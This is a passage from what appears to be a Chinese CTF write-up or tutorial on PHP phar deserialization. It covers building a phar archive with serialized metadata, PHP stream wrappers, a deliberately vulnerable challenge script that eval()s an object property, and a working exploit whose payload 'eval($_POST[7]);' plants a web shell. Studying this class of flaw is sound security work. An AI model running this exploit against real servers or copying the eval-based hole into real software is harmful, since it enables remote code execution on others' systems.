$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); ?>");//设置stub
$o=new TestObject();
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt","m0c1nu7 is the best");//添加要压缩的文件及文件内容
//签名自动计算
$phar->stopBuffering();
?>
接下来构造利用脚本,php
通过用户定义和内置的流包装器
实现复杂的文件处理功能。内置包装器可用于文件系统函数,如fopen()
,file_get_contents()
,copy()
,file_exists()
和filesize()
。 phar://
就是一种内置的流包装器
php常见流包装器:
file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
class TestObject{
public function __destruct(){
echo "Nice! Destruct Called";
}
}
$filename = 'phar://test.phar/test.txt';
file_get_contents($filename);
?>
if(isset($_GET['filename'])){
$filename=$_GET['filename'];
class MyClass{
var $output="echo 'Try again';";
function __destruct(){
eval($this->output);
}
}
file_exists($filename);
}else{
highlight_file(__FILE__);
}
?>
这题不用phar反序列化根本做不了,构造脚本
class MyClass{
var $output = 'eval($_POST[7]);';
}
$o = new MyClass();
$filename = 'poc.phar';
file_exists($filename)?unlink($filename) : null;
$phar = new Phar($filename);
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString('test.txt','m0c1nu7');
$phar->stopBuffering();
?>
参考文章:
https://www.k0rz3n.com/2018/11/19/一篇文章带你深入理解PHP反序列化漏洞/
https://xz.aliyun.com/t/3674
https://xz.aliyun.com/t/6640
https://www.neatstudio.com/show-161-1.shtml
https://mp.weixin.qq.com/s/hEWi1qKAcb1-8bGlhmg-1A
https://blog.spoock.com/2016/10/16/php-serialize-problem/
https://www.webhek.com/post/packaging-your-php-apps-with-phar.html
https://paper.seebug.org/680/
https://zh.wikipedia.org/wiki/PHAR_(%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F)
https://www.php.net/manual/en/phar.fileformat.ingredients.php
https://www.php.net/manual/en/phar.fileformat.phar.php
https://www.php.net/manual/en/phar.fileformat.signature.php#:~:text=Phar%20Signature%20format%20%C2%B6,%2C%20SHA1%2C%20SHA256%20and%20SHA512.